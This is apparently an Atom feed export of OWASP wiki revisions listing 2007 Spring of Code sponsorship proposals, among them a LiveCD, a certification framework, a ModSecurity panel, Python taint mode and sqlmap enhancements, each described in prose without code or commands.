The first version of the LiveCD is now available and include many of the current OWASP documents and tools. I believe the LiveCD is one of the best mediums to promote OWASP tools and documentation. It is portable and already being used by thousands of security proffesionals to perform application testing and training. &lt;br /&gt;
&lt;br /&gt;
In the current state the CD is stable and contains a lot of tools. However, this is just the beginning. There is a LOT of work that needs to be completed. The entire CD experience needs to be branded using OWASP graphics. This shouls start with the boot screen and carry all the way through to the icons and desktop graphics. The CD should also inlcude the wiki and ALL the tools developed for OWASP.&lt;br /&gt;
&lt;br /&gt;
* '''Objectives and Deliverables''':&lt;br /&gt;
&lt;br /&gt;
Update of the LiveCD:&lt;br /&gt;
* Complete OWASP branding&lt;br /&gt;
* Add OWASP wiki&lt;br /&gt;
* Add encryption capabilities&lt;br /&gt;
* Add more OWASP tools&lt;br /&gt;
* Add more pen-test tools such as;&lt;br /&gt;
 VOIP, RFID, BlueTooth, Wireless, etc..&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* '''Why I should be sponsored for the project''':&lt;br /&gt;
&lt;br /&gt;
I had the idea of the LiveCD about a year ago and have worked very hard to get the first version developed. This was driven by my vision to make all of the OWASP tools available on a portable medium. The main difference in the OWASP liveCD vs. other live CDs is going to be the regularity of updates. If sponsorship can be obtained the CD could be updated on a monthly basis. Not once a year like other liveCDs. The CD will also include specialty tools and documentation to perform VOIP, RFID,Bluetooth, and wireless security assessments.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Mark Curphey – The OWASP Web Security Certification Framework ==&lt;br /&gt;
&lt;br /&gt;
'''Problem'''&lt;br /&gt;
 &lt;br /&gt;
PCI DSS is attracting a lot of criticism for a lot of valid reasons. &lt;br /&gt;
 &lt;br /&gt;
http://securitybuddha.com/2007/03/23/the-problems-with-the-pci-data-security-standard-part-1/&lt;br /&gt;
&lt;br /&gt;
http://blogs.csoonline.com/node/210&lt;br /&gt;
&lt;br /&gt;
http://www.computerweekly.com/blogs/stuart_king/2007/03/more-on-pci---the-audit-guide.html&lt;br /&gt;
&lt;br /&gt;
The list is of course long and not appropriate here……and while its easy to knock PCI, there is nothing better out there. &lt;br /&gt;
&lt;br /&gt;
'''Solution and Deliverables'''&lt;br /&gt;
&lt;br /&gt;
As opposed to me continuing saying what’s wrong with PCI DSS, it seems to me that OWASP is a perfect forum to simply create and publish a “better criteria”. This can either be adopted and implemented by an organization like OWASP or considered to be incorporated into the PCI or other security standards. We won't get bogged down in the politics up-front, but hold something good up to the world for people to adopt. This project would of course draw on and bring together many of the other OWASP Projects including the Guide (What is a secure web app), Testing Guides (How to test for a secure web app), WebGoat (part of how to certify an individual understands and can find web app issues) etc. Many of those projects may not be complete or a perfect fit today, but this project can bring a common connecting theme to a lot of very valuable IP that OWASP has built over the years. I will also create it in such as way that a corporate could adopt/adapt it themseles as well as an industry. Where other OWASP projects are not complete or currently suitable I will build a requirements doc that can be considered by those teams if they feel appropriate. &lt;br /&gt;
&lt;br /&gt;
This project would address the;&lt;br /&gt;
&lt;br /&gt;
'''Standard''' &lt;br /&gt;
*A complete auditable (important) web site security standard suitable for modern e-commerce companies including&lt;br /&gt;
**The technical things people should care about&lt;br /&gt;
**The operational  / management things people should care about&lt;br /&gt;
'''Certification Model''' &lt;br /&gt;
*A complete framework for certification (ongoing) and implementation (including certifying auditors, ongoing validation etc). This will include for example the model for certifying auditors (including the actual test program); checklists and forms for auditors to complete and other supporting material. &lt;br /&gt;
&lt;br /&gt;
Essentially its a complete blueprint for an organisation like OWASP or a regulatory body need to run a web site security certification program complete with the supporting material to implement it.&lt;br /&gt;
&lt;br /&gt;
Note:  This is no trivial task to get right. I would need to ensure I can commit to completing the work to a good quality. I think this will take at least 2 months from start to finish to complete but I think is very important for the industry and for potentially for OWASP.  I wanted to gauge the interest by first posting this.&lt;br /&gt;
&lt;br /&gt;
== Erwin Geirnaert - OWASP Java Project ==&lt;br /&gt;
&lt;br /&gt;
* '''Executive Summary''':&lt;br /&gt;
I would like to help the OWASP Java Project to gather all Java security related information and to document any domains that lack documentation.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* '''Objectives and Deliverables''':&lt;br /&gt;
The main objective I see is to gather all information in one place, where security experts and developers can find the information they need.&lt;br /&gt;
In order to get there, I need to collect all information in the OWASP Wiki, ask people if they want to donate it to OWASP so that we can include it as public material, add URLs, white-papers, references to books, ... And if time permits, write some documentation myself.&lt;br /&gt;
&lt;br /&gt;
One deliverable is the OWASP Top 10 for J2EE applications with clear examples of vulnerabilities and mitigations.&lt;br /&gt;
&lt;br /&gt;
* '''Why you should be sponsored for the project''':&lt;br /&gt;
I have more then 10 years experience in Java and J2EE and the last 6 years I have tested and broke a lot of web applications. I gave also some very successful J2EE security courses and web security courses. I spoke at different conferences about application security in Europe.&lt;br /&gt;
And I am responsible for the security track at Javapolis, one of the biggest Jave conferences in Europe.&lt;br /&gt;
I am the co-founder of ZION SECURITY where we do security testing, code review, design reviews, training,...&lt;br /&gt;
I'm also member of the OWASP Belgium board that started in March 2007.&lt;br /&gt;
&lt;br /&gt;
== Erwin Geirnaert - OWASP WebGoat Solutions Guide ==&lt;br /&gt;
&lt;br /&gt;
* '''Executive Summary''':&lt;br /&gt;
WebGoat is used by a lot of people to learn about web application security and the different vulnerabilities. But it takes a lot of time to grasp how the tools like WebScarab work and how to use them effectively in WebGoat. I propose to create a walkthrough of the lessons in WebGoat so that people can learn from the solutions, without spoiling the fun.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* '''Objectives and Deliverables''':&lt;br /&gt;
The WebGoat Solutions Guide is a document that can be bundled with WebGoat. Each lesson contains a detailed solution with screenshots and tools. I created a PDF with the solution for WebGoat 4.0 but this is too big to load (15 MB) and is not very practical.&lt;br /&gt;
&lt;br /&gt;
After a discussion with Bruce about this, we think that the solutions should be made like the existing Lessons Plan so it is easier to maintain and update when a lesson changes. This means that there will be documentation folder and an individual solution for each lesson. &lt;br /&gt;
&lt;br /&gt;
* '''Why you should be sponsored for the project''':&lt;br /&gt;
I have more then 10 years experience in Java and J2EE and the last 6 years I have tested and broke a lot of web applications. I gave also some very successful J2EE security courses and web security courses. I spoke at different conferences about application security in Europe.&lt;br /&gt;
And I am responsible for the security track at Javapolis, one of the biggest Jave conferences in Europe.&lt;br /&gt;
I am the co-founder of ZION SECURITY where we do security testing, code review, design reviews, training,...&lt;br /&gt;
I'm also member of the OWASP Belgium board that started in March 2007.&lt;br /&gt;
&lt;br /&gt;
== Bunyamin Demir – OWASP WeBekci Project ==&lt;br /&gt;
&lt;br /&gt;
==== Executive Summary: ====&lt;br /&gt;
&lt;br /&gt;
Web application firewalls (WAF) are gaining importance among the information security technologies designed to protect web sites from attack. WAF solutions prevent attacks that network firewalls and intrusion detection systems can't and they require no modification of application source code. ModSecurity [http://www.modsecurity.org/] is an open source web application firewall that runs as an Apache module. It is an embeddable web application firewall and it provides protection from a range of attacks against web applications. It is an open source project available to everyone; it however does not come with an admin panel. &lt;br /&gt;
&lt;br /&gt;
I decided to provide this essential tool with a control panel which I believe will ease and thus encourage its usage.&lt;br /&gt;
&lt;br /&gt;
ModSecurity allows for HTTP traffic monitoring and real-time analysis with no changes to existing infrastructure. My main goal is to analyze attacks and generate rules to change the configuration of the ModSecurity accordingly.&lt;br /&gt;
&lt;br /&gt;
ModSecurity  has a feature called “flexible rule engine” as its heart of Attack Prevention capability . It uses ModSecurity’s “Rule Language,” (a programming language designed to work with HTTP transaction data). It is easy to use and flexible; yet the system administrators need to learn its own rules to create what is called “Certified ModSecurity Rules” to be implemented. My control panel will automate the major code-generation in Rule Language. &lt;br /&gt;
&lt;br /&gt;
==== Objectives and Deliverables: ====&lt;br /&gt;
&lt;br /&gt;
* '''Configuration''' : Will add all configuration parameter&lt;br /&gt;
* '''Rule Generator''': Will write all the Rules in Rule Language&lt;br /&gt;
* '''Logging'''       : Auditlog and debuglog will be added.&lt;br /&gt;
* '''Multiple-DB'''   : Will add PostgreSql and Sqlite support.&lt;br /&gt;
&lt;br /&gt;
==== Why I should be sponsored for the project: ====&lt;br /&gt;
&lt;br /&gt;
I am  involved with OWASP Turkey [http://www.owasp.org/index.php/Turkey] and interested very much in WAF. Even though this is my first project for OWASP, I am very much interested in every aspect of ModSecurity. With SpoC007’s support I will finalize my work on OWASP WeBekci [http://www.owasp.org/index.php/Category:OWASP_WeBekci_Project].&lt;br /&gt;
&lt;br /&gt;
== Eric Sheridan and Dr. Goran Trajkovski - The Scholastic Application Security Assessment Project ==&lt;br /&gt;
&lt;br /&gt;
=== ABSTRACT ===&lt;br /&gt;
&lt;br /&gt;
One of the major goals of the Open Web Application Security Project is to educate developers in the field of application software security. Understanding the risks and threats associated with web application software is pivotal in building a mature application security process. While OWASP has made a significant impact in the professional industry, more time and energy should be focused towards the academic community. It is an unfortunate fact that most universities do not require a stringent software security course for their computer science students. Consequently, most young developers do not have the ability to assess and mitigate the risks and threats for their own applications. It is for this reason that we believe the Open Web Application Security Project should fund an initiative to encourage the adaptation of application software security methodologies in the academic course curriculum.&lt;br /&gt;
&lt;br /&gt;
The Scholastic Application Security Project is intended to be the first step towards integrating security requirements in academic course curriculums. The primary goal of the project is to give students hands-on experience performing application security assessments using the tools and documentation found at http:///www.owasp.org. The assessment, lead by an application security professional, will demonstrate to students how the information and tools found at OWASP can be used to assess and ultimately increase the overall security posture of a web application. &lt;br /&gt;
&lt;br /&gt;
This project contributes towards bridging the gap between academia and industry, by equipping students with hands-on ready-for-the-job-market skills in the application software securing industry.&lt;br /&gt;
&lt;br /&gt;
=== PARTICIPANTS ===&lt;br /&gt;
&lt;br /&gt;
The Scholastic Application Security Assessment Project requires that college level students, lead by an application security professional, perform a security audit on an open source web application using the tools and information available at OWASP.&lt;br /&gt;
&lt;br /&gt;
::*'''Application Security Professional''' – Eric Sheridan ([http://www.aspectsecurity.com Aspect Security])&lt;br /&gt;
::*'''Towson University (TU) Partner''' – Dr. Goran Trajkovski, Towson University (http://www.towson.edu)&lt;br /&gt;
::*'''Students''' – Students of TU’s Application Software Security Course (COSC 458), nominated by the TU Partner&lt;br /&gt;
::*'''Web Application''' – The Open WebMail Project (http://openwebmail.org/)&lt;br /&gt;
&lt;br /&gt;
=== OWASP UTILIZATION ===&lt;br /&gt;
&lt;br /&gt;
The Scholastic Application Security Assessment Project requires heavy utilization of existing OWASP tools and utilities. Through this requirement, the project will illustrate the fact that existing OWASP resources can be used and heavily relied upon in a professional security audit. The following is a list of notable OWASP resources whose use will be documented throughout the assessment:&lt;br /&gt;
&lt;br /&gt;
::*'''OWASP Top Ten 2007''' - The security critical areas that the students will assess in the review&lt;br /&gt;
::*'''OWASP Testing Guide v2''' – The primary resource for building penetration testing cases&lt;br /&gt;
::*'''OWASP Guide''' – The primary resource for technical details pertaining to a technology and/or vulnerability&lt;br /&gt;
::*'''OWASP WebScarabNG''' – The primary proxy utility used throughout the assessment&lt;br /&gt;
&lt;br /&gt;
=== THE FINAL REPORT ===&lt;br /&gt;
&lt;br /&gt;
Students are required to follow the principle of “responsible disclosure” during the course of the security assessment. The developers of the open source application will be notified if any significant issues are found. Once the assessment is complete, a final report will be delivered to the application developers and the appropriate OWASP Spring of Code personnel. For each finding in the report, the students will be required to describe how the tools and information found at OWASP were used in the discovery.&lt;br /&gt;
&lt;br /&gt;
=== HOW DOES OWASP BENEFIT? ===&lt;br /&gt;
&lt;br /&gt;
The Scholastic Application Security Assessment Project is specifically designed to benefit the OWASP brand:&lt;br /&gt;
&lt;br /&gt;
''The OWASP Community…''&lt;br /&gt;
::*will be provided a case study proving that the resources available at OWASP can be utilized in an academic  environment, that can be later used in advertising the OWASP efforts to similar programs as the one at TU.&lt;br /&gt;
::*will be providing students a hands on experience in learning and testing for the latest web application security threats, thus potentially enlarging the OWASP community of contributors and supporters.&lt;br /&gt;
::*will be addressing the need to educate developers in the security critical areas.&lt;br /&gt;
::*will be seen as offering a professional level service to another open source project.&lt;br /&gt;
::*will be addressing one of the root causes of application software insecurity.&lt;br /&gt;
&lt;br /&gt;
=== BACKGROUND ===&lt;br /&gt;
&lt;br /&gt;
'''Eric Sheridan:'''&lt;br /&gt;
&lt;br /&gt;
::*Earned a Bachelor’s of Science in Computer Science from Towson University&lt;br /&gt;
::*Graduate Student in Information Security at Johns Hopkins University&lt;br /&gt;
::*Application Security Engineer at Aspect Security&lt;br /&gt;
::*Lead of the OWASP Stinger Project and the OWASP Validation Project&lt;br /&gt;
&lt;br /&gt;
'''Goran Trajkovski, PhD:'''&lt;br /&gt;
&lt;br /&gt;
::*Has been teaching the Application Software Security course for the Computer Security undergraduate and master-level majors at TU since 2004 (TU has been a Center of Excellence in Information Assurance, designated by the NSA since 2002).&lt;br /&gt;
::*Assistant professor of Computer and Information Sciences at Towson University, and Director of its Cognitive Agency and Robotics Lab (CARoL).&lt;br /&gt;
::*Has lead curricular efforts in integrating application software security topics throughout the Computer Science and Computer Information Sciences curriculum&lt;br /&gt;
::*12 years of full time teaching experience in higher ed.&lt;br /&gt;
&lt;br /&gt;
==Boris - OWASP Site Generator==&lt;br /&gt;
OWASP Site Generator is a great tool, but it could be even better and more widespread. There’s a lot room for improvements to both its functionality and user experience. The way I see it, main user needs to be addressed and specific development objectives for the next release of OWASP Site Generator would be:&lt;br /&gt;
===User Needs===&lt;br /&gt;
*Create multiple types of sites easily&lt;br /&gt;
*Track and analyze requests easily&lt;br /&gt;
*Change the look and feel of the resulting sites easily&lt;br /&gt;
*Create sites for multiple web backend technologies easily&lt;br /&gt;
*Learn how to use OWASP Site Generator easily&lt;br /&gt;
&lt;br /&gt;
===Development Objectives===&lt;br /&gt;
*Create a vulnerability library that can be used for web services, HTML forms, AJAX, etc. instead of having to craft the same attack for each&lt;br /&gt;
*Add support for logging of all received requests, as well as querying resulting log files&lt;br /&gt;
*&amp;amp;quot;Templatize&amp;amp;quot; the code generation process, so it can support skinning of the resulting sites&lt;br /&gt;
*&amp;amp;quot;Templatize&amp;amp;quot; the code generation process, so it can support different backend web technologies&lt;br /&gt;
*Fix all significant defects in the current release of OWASP Site Generator&lt;br /&gt;
*Redesign the GUI to make it more efficient and user friendly&lt;br /&gt;
*Create a smooth setup program which would install both client and server components as effortlessly as possible&lt;br /&gt;
*Write documentation and articles about it&lt;br /&gt;
*Make the development process open to the public and, hopefully, driven by its feedback from day one&lt;br /&gt;
&lt;br /&gt;
===Why should I be sponsored for this project===&lt;br /&gt;
Well, probably because of my past work on AoC (I just hope that won’t be the reason for me ''not'' to be sponsored :)&lt;br /&gt;
&lt;br /&gt;
==Boris - OWASP Report Generator==&lt;br /&gt;
There is no doubt that OWASP Report Generator is a very handy tool for penetration testers and other security researchers, but it would be even better if some enhancements were made:&lt;br /&gt;
===User Needs===&lt;br /&gt;
*More robustness&lt;br /&gt;
*Ease of use (more efficient and intuitive GUI)&lt;br /&gt;
*Automated reporting for some typical (or not so typical) scenarios&lt;br /&gt;
*More documentation&lt;br /&gt;
*More samples&lt;br /&gt;
&lt;br /&gt;
===Development Objectives===&lt;br /&gt;
*Redesign the GUI to make it more efficient and user friendly&lt;br /&gt;
*Clean up the code&lt;br /&gt;
*Add functionality to import, execute and create reports for OWASP Tiger automated tests&lt;br /&gt;
*Create some samples&lt;br /&gt;
*Create a smooth setup program&lt;br /&gt;
*Write documentation and articles about it&lt;br /&gt;
*Make the development process open to the public and, hopefully, driven by its feedback from day one&lt;br /&gt;
===Why should I be sponsored for this project===&lt;br /&gt;
Well, probably because of my past work on AoC (I just hope that won’t be the reason for me ''not'' to be sponsored :)&lt;br /&gt;
&lt;br /&gt;
==Boris - OWASP Tiger==&lt;br /&gt;
OWASP Tiger project is at its very beginning. Some new features are needed in order for it to become more useful. Here’s a short list:&lt;br /&gt;
===User Needs===&lt;br /&gt;
*Easier editing of test projects&lt;br /&gt;
*Support for testing sites that require authentication&lt;br /&gt;
*Support for testing sites that require use of cookies&lt;br /&gt;
*An easy way of specifying vulnerability data, ideally an automated one&lt;br /&gt;
*More flexible reporting&lt;br /&gt;
*More project templates&lt;br /&gt;
*More documentation&lt;br /&gt;
===Development Objectives===&lt;br /&gt;
*Add support for cookies&lt;br /&gt;
*Add support for standard authentication schemes&lt;br /&gt;
*Add support for importing vulnerability data from a test definition (or a vulnerability library)&lt;br /&gt;
*Make use of OWASP Report Generator for more advanced reports&lt;br /&gt;
*Create a setup program that would install both client and project templates and also allow for adding new templates after the initial installation&lt;br /&gt;
*Write documentation and articles about it&lt;br /&gt;
*Make the development process open to the public and, hopefully, driven by its feedback from day one&lt;br /&gt;
===Why should I be sponsored for this project===&lt;br /&gt;
Well, probably because of my past work on AoC (I just hope that won’t be the reason for me ''not'' to be sponsored :)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Heiko - Web Application Security put into practice==&lt;br /&gt;
I'm trying to make the OWASP Top Ten and Guide project known in the programming community, but I understand that clear examples in the specific programming language and best practices with explanation educate the best. I'm at the chair for secure software at my university and I want to contribute practical examples, because I believe not to teach secure programming is a great oversight in today's education. Not only the programmers in large companies have to be aware of security impacts, but also their future employees and their freelance programmers. I'm with a large organization of freelance programmers, which I want to make aware of security flaws.&lt;br /&gt;
&lt;br /&gt;
The Ruby on Rails Security project [http://www.rorsecurity.info/] started this year and is the only security initiative for Ruby on Rails. Ruby is the fastest growing level A programming language, according to the Tiobe programming community index [http://www.tiobe.com/tpci.htm], partly because of its advertised simplicity. This is dangerous, as programmers could be enticed to do cargo cult programming [http://en.wikipedia.org/wiki/Cargo_cult_programming] without knowing the security impacts. I found several security holes in popular modules, and even the Rails framework itself generates potentially insecure code. Nevertheless, Rails provides good means against many of the OWASP Top Ten security flaws, but I believe these means have to be popularized much more.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Objectives and Deliverables===&lt;br /&gt;
* Create a security guide to the most popular web server software, Apache&lt;br /&gt;
** Installation&lt;br /&gt;
** secure configuration, emphasis on Rails, but not limited to it&lt;br /&gt;
** file system privileges for Rails and Apache&lt;br /&gt;
** anti profiling techniques for Apache&lt;br /&gt;
** Modules and Mod_security configuration&lt;br /&gt;
&lt;br /&gt;
* Create a security guide to the popular database software, MySQL, as practical contribution to the OWASP Top 10 Insecure storage section&lt;br /&gt;
** Installation&lt;br /&gt;
** secure configuration, emphasis on Rails, but not limited to it&lt;br /&gt;
** file system privileges for Rails and MySQL&lt;br /&gt;
** MySQL access restriction techniques&lt;br /&gt;
** encryption methods&lt;br /&gt;
&lt;br /&gt;
* Ruby on Rails security guide and code examples, with at least the following topics:&lt;br /&gt;
** Anti profiling techniques&lt;br /&gt;
** Rails routes security&lt;br /&gt;
** error handling and presentation, as in OWASP Top 10 Improper Error Handling&lt;br /&gt;
** OWASP Top 10: XSS in Rails&lt;br /&gt;
** OWASP Top 10: SQL injection in Rails&lt;br /&gt;
** OWASP Top 10: Parameter injection in Rails&lt;br /&gt;
** OWASP Top 10: Session handling in Rails&lt;br /&gt;
** OWASP Top 10: Access control in Rails&lt;br /&gt;
** handling of files&lt;br /&gt;
** integrity&lt;br /&gt;
** encryption and SSL&lt;br /&gt;
** logging flaws&lt;br /&gt;
** Ajax security&lt;br /&gt;
&lt;br /&gt;
* Code &amp;amp; other&lt;br /&gt;
** means to check the security of MySQL&lt;br /&gt;
** input validation guide, and implement it in Ruby&lt;br /&gt;
** update the poorly documented guide at http://manuals.rubyonrails.com/read/chapter/40 which is the only official guide to security&lt;br /&gt;
** usage guide for OWASP tools, also in connection with Rails&lt;br /&gt;
** make the results known in the several communities I'm in&lt;br /&gt;
** if applicable: submit code to Rails for security holes found&lt;br /&gt;
&lt;br /&gt;
===Why I should be sponsored for the project===&lt;br /&gt;
I have been programming professionally for 10 years and created several software products, including Internet applications, and I always focused on security. I am currently graduating university, my thesis is about web application security. Recently, I started the Ruby on Rails security project, which is the only security project for Rails. I have always delivered my work on time, and I believe I have the knowledge to deliver good quality.&lt;br /&gt;
&lt;br /&gt;
===Long-term vision for the project===&lt;br /&gt;
Make it available to the community and accept security notices and best practices from other users to constantly improve it.&lt;br /&gt;
&lt;br /&gt;
===Benefits to the OWASP===&lt;br /&gt;
* practical guides on how to put security into practice: the most popular web server software Apache and the popular database software MySQL&lt;br /&gt;
* if applicable: additional examples and chapters for the OWASP Guide&lt;br /&gt;
* the first and only fully-fledged security guide to a programming language and framework which is used by many large companies&lt;br /&gt;
* security awareness of future employees and freelancers&lt;br /&gt;
* more exposure of the OWASP&lt;br /&gt;
&lt;br /&gt;
==Denis – Python Tainted Mode==&lt;br /&gt;
I am graduate student of Moscow State University, department of Computational Mathematics and Cybernetics.&lt;br /&gt;
My graduate work is dedicated to web-application security. The goal of my graduate work is to combine dynamic code analysis with penetration testing to provide more precise analysis.&lt;br /&gt;
This work will help to find security vulnerabilities in web-applications.&lt;br /&gt;
I successfully presented parts of my work at university conferences.&lt;br /&gt;
&lt;br /&gt;
===My Project===&lt;br /&gt;
The goal of my project is to create analog of Perl’s Taint Mode for Python programming language.&lt;br /&gt;
Taint mode is successfully used in Perl, PHP, and Ruby to find input validation vulnerabilities in web-applications (see for ex. PHPRevent[http://dependability.cs.virginia.edu/info/PHPrevent]).&lt;br /&gt;
Unfortunately there is no implementation of Taint Mode for Python language despite of wide spread of Python-based web-applications. Taint Mode for Python is highly claimed.&lt;br /&gt;
I plan to modify Python interpreter and add Taint label propagation. Then I’ll add three configuration lists:&lt;br /&gt;
* List of sources. All data emanating from sources must be marked tainted.&lt;br /&gt;
* List of critical functions, that shouldn’t receive tainted data.&lt;br /&gt;
* List of sanitizing functions that untaints data.&lt;br /&gt;
These three lists are dependent on technology that is used between web-server and web-applications in web server. In my project I plan to build such lists for mod_python and then broaden for other technologies. With switched on taint mode web-application will receive exceptions when critical function receives tainted data.&lt;br /&gt;
&lt;br /&gt;
===Why should I be selected===&lt;br /&gt;
I have strong mathematical &amp;amp; computer science background. I’m familiar with research publications on dynamic analysis and with implementation of taint mode in Perl and PHP (PHPrevent Project).&lt;br /&gt;
This project is part of my work at university. It will be made under mentoring of my scientific advisor.&lt;br /&gt;
This work is already practically done that’s why I’m sure I will finish my project in time.&lt;br /&gt;
I have strong skills in developing projects with Python, Java, C, C++, and Assembler. Then I plan to support, develop and enhance my project and increase its quality with penetration testing.&lt;br /&gt;
&lt;br /&gt;
If you have any questions or would like further information, feel free to contact me.&lt;br /&gt;
&lt;br /&gt;
Yours faithfully,&lt;br /&gt;
Denis&lt;br /&gt;
&lt;br /&gt;
== Darren Edmonds - WebScarab NG Security Test Automation ==&lt;br /&gt;
&lt;br /&gt;
=== Background ===&lt;br /&gt;
I am a 28 year old software developer from the UK with a background in java based web development and application security testing.  I have strong mathematical skills, a degree in software engineering, a SCJP qualification and 8 years of commercial development experience.  I have created many web based and standalone applications delivering on time and adhering to common software practices.&lt;br /&gt;
I'm an avid supporter of open source software and try to use it whenever possible in a commercial environment.  I've made contributions to the Geotools mapping project, written a securing tomcat article for OWASP and developed a full modification for the first person shooter Quake 3.&lt;br /&gt;
&lt;br /&gt;
=== Project Details ===&lt;br /&gt;
Having used numerous penetration testing applications I believe there is a need for an open source application which supports some, or all, of the features of the more expensive commercial products.  I propose to make WebScarab generate, record, and playback security test cases so that regression testing is possible.  If time permits I would also like to include some extra automated tests that are not always feasible during manual testing; searching for backup files (~, Copy of X), checking non-authorised access to authorised areas, common and brute force name directory searching, etc.  Perhaps include the ability to read the test database of other scanning tools such as nikto.&lt;br /&gt;
I have already made contact with Rogan Dawes, original WebScarab NG author, to discuss some initial ideas.  I believe it is important that Rogan is consulted during the initial planning phase to make sure the project keeps to a set of consistent guidelines.&lt;br /&gt;
&lt;br /&gt;
=== Milestones ===&lt;br /&gt;
* Research regression testing features in other applications&lt;br /&gt;
* Create a functional specification&lt;br /&gt;
* Build testing framework (possible inclusion of scripting language for user defined tests)&lt;br /&gt;
* Testing&lt;br /&gt;
&lt;br /&gt;
=== Why I Should be Sponsored ===&lt;br /&gt;
I believe I am an ideal candidate to develop the proposed additions to WebScarab NG, not just because of my qualifications and experience, but because I plan to use WebScarab NG in my work to help perform the initial testing of web applications.  As well as my own time my current employer will allocate me a set amount of time to ensure the project achieves its milestones.&lt;br /&gt;
The end result will make WebScarab NG a much more powerful testing tool and will be a great asset to the OWASP community.  With continued development and input from the community I see no reason why WebScarab NG cannot rival commercial testing application features, usability, and business benefit.  Increasing WebScarab's features will result in increased community awareness bringing in extra developers, ensuring continual development and so the cycle starts again.&lt;br /&gt;
&lt;br /&gt;
== Bernardo - sqlmap ==&lt;br /&gt;
&lt;br /&gt;
* '''Executive Summary'''&lt;br /&gt;
[http://sqlmap.sourceforge.net sqlmap] is an automatic blind SQL injection tool, developed in python, capable to perform an active database fingerprint, to enumerate entire remote database and much more. The aim of this project is to implement a fully functional database mapper tool which takes advantages of web application programming security flaws which lead to SQL injection vulnerabilities.&lt;br /&gt;
&lt;br /&gt;
* '''Objectives and Deliverables'''&lt;br /&gt;
** Add support for Oracle database;&lt;br /&gt;
** Add support to extract database users password hash;&lt;br /&gt;
** Extend inband SQL injection functionality to all other possible queries;&lt;br /&gt;
** Add Microsoft SQL Server database fingerprint;&lt;br /&gt;
** Add a fuzzer class with the aim to parse html page looking for standard database error messages consequently improving database fingerprinting;&lt;br /&gt;
** Add support for SQL injection on HTTP 'Cookie' and 'User-Agent' headers;&lt;br /&gt;
** Add support for query ETA (Estimated Time of Arrival) real time calculation;&lt;br /&gt;
** Improve Google dorking support to take advantage of remote hosts affected by SQL injection to perform other command line argument actions;&lt;br /&gt;
** Improve logging functionality.&lt;br /&gt;
&lt;br /&gt;
* '''Long-term vision for the project'''&lt;br /&gt;
Make sqlmap available as an easy-to-use enumeration and penetration testing tool to the OWASP community extending its functionality to exploit SQL injection vulnerabilities to provide a remote shell on the affected web application database server when possible.&lt;br /&gt;
In the long run I would also like to develop a graphical user interface.&lt;br /&gt;
&lt;br /&gt;
* '''Why I should be sponsored for the project'''&lt;br /&gt;
I have good python programming skills and some years of experience in computer networks security. I spent most of the last year researching on web application insecurity taking over the [http://sqlmap.svn.sourceforge.net/viewvc/sqlmap/ sqlmap development] since December 2006. Actually I work as software developer at an information security company in Italy where I mostly deal with vulnerability assessment.&lt;/div&gt;</summary>
		<author><name>Inquis</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=OWASP_Spring_Of_Code_2007_Applications&amp;diff=17565</id>
		<title>OWASP Spring Of Code 2007 Applications</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=OWASP_Spring_Of_Code_2007_Applications&amp;diff=17565"/>
				<updated>2007-03-30T12:55:13Z</updated>
		
		<summary type="html">&lt;p&gt;Inquis: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;This page contains project Applications to the [[OWASP_Spring_Of_Code_2007]]&lt;br /&gt;
&lt;br /&gt;
'''If you want to apply for a SpoC 007 sponsorship you HAVE TO USE THIS PAGE for your application'''&lt;br /&gt;
&lt;br /&gt;
See [[OWASP_Spring_Of_Code_2007#How_To_Participate]] for what do to one you completed your Application&lt;br /&gt;
&lt;br /&gt;
---------&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Proposed template:''' {for longer proposals, in addition to these details you can create a PDF}:&lt;br /&gt;
&lt;br /&gt;
== {Your first name or Alias} - {Project name} ==&lt;br /&gt;
Please remember that projects will be selected and funded based on how well they meet the [[OWASP_Spring_Of_Code_2007_:_Selection|Selection Criteria]].&lt;br /&gt;
&lt;br /&gt;
You can propose your project in any form you wish, but the best proposals will be well thought out, clear and concise, and reflective of your passion for the topic.  We strongly suggest that you include the following information in your proposal.&lt;br /&gt;
&lt;br /&gt;
* Your educational and professional background&lt;br /&gt;
&lt;br /&gt;
* Application security experience and accomplishments&lt;br /&gt;
&lt;br /&gt;
* Participation and leadership in open communities&lt;br /&gt;
&lt;br /&gt;
* The opportunity, challenges, issues or need your proposal addresses&lt;br /&gt;
&lt;br /&gt;
* Objectives or ways in which you will meet the goal(s)&lt;br /&gt;
&lt;br /&gt;
* Specific activities and who will carry out these activities&lt;br /&gt;
&lt;br /&gt;
* Specific deliverables and a rough project schedule so we can track progress&lt;br /&gt;
&lt;br /&gt;
* Long-term vision for the project&lt;br /&gt;
&lt;br /&gt;
* Any other reasons why you and your project should be selected&lt;br /&gt;
&lt;br /&gt;
== Buanzo - Enigform: Firefox Addon for OpenPGP signing of HTTP requests ==&lt;br /&gt;
&lt;br /&gt;
I am a 25 year old Independent security consultant from Buenos Aires, Argentina, that has contributed to the world of&lt;br /&gt;
information systems security since 1994, when BBSes and Linux still lived together.&lt;br /&gt;
&lt;br /&gt;
A quick search for buanzo on google [http://www.google.com/search?hl=en&amp;amp;q=buanzo&amp;amp;btnG=Google+Search] will provide all necessary details about my professional and community background. For comprobable experience, you could also check my Rent a Coder profile.[http://www.rentacoder.com/RentACoder/SoftwareCoders/showBioInfo.asp?lngAuthorId=735204].&lt;br /&gt;
&lt;br /&gt;
In my free time I like playing with my Punk-Pop band [http://www.purevolume.com/futurabandapunkpop], Futurabanda. [http://www.futurabanda.com.ar], and maintaining my Restaurants, Wines and Recipes site. [http://www.vivamoslavida.com.ar]. I have to admit that my first priorities are my beloved son [http://www.fotolog.com/buanzo] and my wonderful wife [http://www.fotolog.com/buanzo].&lt;br /&gt;
&lt;br /&gt;
=== Accomplishments ===&lt;br /&gt;
&lt;br /&gt;
I've contributed scripts, fixes and translations to the Nmap project. I've also acted as Expert Contributor for SANS TOP-20 2004, 2005 and 2006. I've developed &lt;br /&gt;
tools that can be found in Freshmeat, like mprl (a getty enhancement to allow remote logins from the login: prompt of the console). I've also written&lt;br /&gt;
